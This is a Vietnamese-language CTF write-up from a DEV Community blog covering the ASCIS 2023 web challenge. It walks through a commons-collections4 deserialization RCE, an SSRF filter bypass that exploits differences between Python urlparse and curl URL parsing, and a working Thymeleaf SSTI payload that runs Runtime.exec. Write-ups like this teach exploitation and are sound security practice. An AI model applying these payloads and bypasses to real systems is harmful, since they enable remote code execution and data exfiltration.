DEV Community

Mo0n Sha𝄞ow
Mo0n Sha𝄞ow

Posted on

WRITE-UP ASCIS 2023

Image description
Mình xin chia sẻ hướng đi của mình trong bài web 2
Khi truy cập vào challenge thì website hiển thị như sau
web 1
¯\_(ツ)_/¯
Tiến hành đọc source code sẽ thấy challenge gồm có 2 service là backfront. Do back chứa flag nên mình sẽ đi phân tích trước.
Service back được viết bằng java. Sau khi decompile ta đọc được source code và biết rằng chương trình sử dụng java version 11, framework spring boot để tạo webserver.
Phân tích nhanh: Sau khi đọc qua source code thì mình phát hiện chương trình có dùng hàm để deserialize dũ liệu được gửi lên thông qua hàm
readObject.
Image description
Thêm vào đó, do chương trình sử dụng thư viện commons-collections4 version cũ là 4.0 => Có thể tiến hành RCE qua việc trigger các gadget chain. Các gadget chain này đã được nhiều bạn phân tích trên mạng, mình chỉ việc đem về sử dụng thôi (có thể tham khảo tool ysoserial)!
Tiến hành khai thác: Theo như hướng đi này, ta sẽ tập trung vào controller "/ticket/{info}". Đầu tiên chương trình sẽ lấy dữ liệu gửi lên, base64 decode và check độ dài, sau đó giải nén gzip và tiến hành deserialize. Như vậy sau khi tạo các byte array payload, ta cần gzip rồi sau đó base64 encode để gửi lên server - payload bị giới hạn bởi 2048 kí tự sau khi gzip, trước khi base64 encode. Tuy nhiên khi mình chạy thử, thì payload sau khi gzip đã nhỏ hơn rất nhiều, không vượt quá 2048 kí tự nên không cần phải lo lắng bypass gì cả (đến phần này mình thấy quen quen, hình như đề này giông giống bài jeopardy của năm 2022 thì phải ?!).
Một điều nữa là mình muốn chạy payload một lần thôi để tránh bị phát hiện, đồng thời muốn flag gửi về server mà không cần tác động đến nữa thì phải làm thế nào? Ta có thể cài backdoor, tuy nhiên ở có thể đơn làm đơn giản hơn bằng cách đặt timer cho webserver java đọc flag và gửi đi cách đều trong khoảng thời gian nhất định. Lợi dùng gadget chain commons-collections4, ta có thể dễ dàng load class java tự định nghĩa và chạy đoạn mã java tùy ý. Điều đó nhờ vào việc sử dụng class InvokerTransformer của thư viện commons-collections4.
Do đó payload có thể code như sau
Image description
Image description
Tuy nhiên RCE chưa phải là xong - service back được config ở file docker không public port, đồng thời không có mạng internet! Vậy làm thế nào để có thể truy cập cũng như gửi payload ra ngoài? Ta phải tiếp tục khai thác service front.
Sau khi đọc qua source code thì mình nhận thấy serice gọi shell command hàm curl với tham số là URL truyền vào => 90% là SSRF để trigger lỗi server back. Tuy nhiên, trong source code cũng filter để tránh ta khai thác lỗi ấy!

FILTERED_HOSTS = ["back"]
FILTERED_PATHS = ["debug", "info", "ticket"]
def is_approved(url):
    """Indicates whether the given URL is allowed to be fetched.  This
    prevents the server from becoming an open proxy"""
    parts = urlparse(url)
    host = parts.hostname
    path = parts.path

    if not parts.scheme in ["http", "https"]:
        return False

    if host in FILTERED_HOSTS:
        return False
    for filter_path in FILTERED_PATHS:
        if filter_path in path:
            return False
    return True
Enter fullscreen mode Exit fullscreen mode

Để bypass được hàm check này, ta tiến hành tìm sự khác biệt giữa việc parse url của hàm urlparse trong python và thư viện curl trên linux.
+, Bypass host: Hàm urlparse tuân thủ theo chuẩn format dưới đây
Image description
Tuy nhiên thư viện curl lại cho phép 1, 2 hoặc 3 dấu gạch chéo ở sau dấu hai chấm.
Image description
(Nguồn https://curl.se/docs/url-syntax.html)
Do vậy, nếu như url sẽ có dạng http:/back và http:///back thì hàm urlparse sau khi parse url sẽ lấy host là None, trong khi đó thư viện curl vẫn parse được host là back!

#! /home/app/venv/bin/python3 test.py
parts = urlparse("http:/back")
host = parts.hostname
print(host)
Enter fullscreen mode Exit fullscreen mode
$ python3 test.py
None
$ curl http:/back
<!DOCTYPE HTML>
<html>
<head>
    <title>Hello ASCIS</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
</head>

<body>
    <h1>Hello ASCIS</h1>
</body>
$
Enter fullscreen mode Exit fullscreen mode

+, Bypass path: Do curl sẽ tiến hành url decode input một lần nữa, nên ta chỉ cần double encode url ít nhất một kí tự bất kì của path là xong!
Một vấn đề nữa là service back không có internet, do vậy ta có thể lợi dụng lỗi SSRF ở trên để từ server back gọi api đến server front, truyền URL chính là địa chỉ server của chúng ta kèm flag.
Tiến hành khai thác
Image description
Lấy được flag bắn về
Image description
Image description
Sau khi kết thúc cuộc thi thì mình biết được thêm là service back cũng có thể khai thác RCE bởi lỗi SSTI ở thư viện Thymeleaf. Cụ thể ở đoạn sau:
Image description
Lỗi này là do Thymeleaf thực hiện eval chuỗi tên template nếu nó được viết theo chuẩn parse mà thư viện quy định (các bạn có thể đọc thêm tại đây)
Build payload

byte[] data = "{\"role\":\"__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('touch /tmp/zz').getInputStream()).next()}__::z\"}".getBytes();
byte[] outBase64 = Base64.getMimeEncoder().encode(data);
String payload = (new String(outBase64)).replaceAll( "\\r\\n", "").replaceAll( "/", "_");
Enter fullscreen mode Exit fullscreen mode

Tiến hành khai thác
Image description

$ ls -lap /tmp
total 24
drwxrwxrwt 1 root root 4096 Nov 14 17:15 ./
drwxr-xr-x 1 root root 4096 Nov 14 17:14 ../
drwxr-xr-x 2 app  app  4096 Nov 14 17:14 hsperfdata_app/
-rw-r--r-- 1 app  app     0 Nov 14 17:15 zz
$
Enter fullscreen mode Exit fullscreen mode

Việc đọc flag và gửi về server làm tương tự như bên trên

Từ đầu đến cuối giải chỉ biết đi attack và bị attack liên tục...cuối cùng lại được kết quả không được ổn cho lắm. Chẳng biết quãng đường CTF đã được bao lâu mà đến ngày hôm nay vẫn thành tạ của team ☹.

Top comments (0)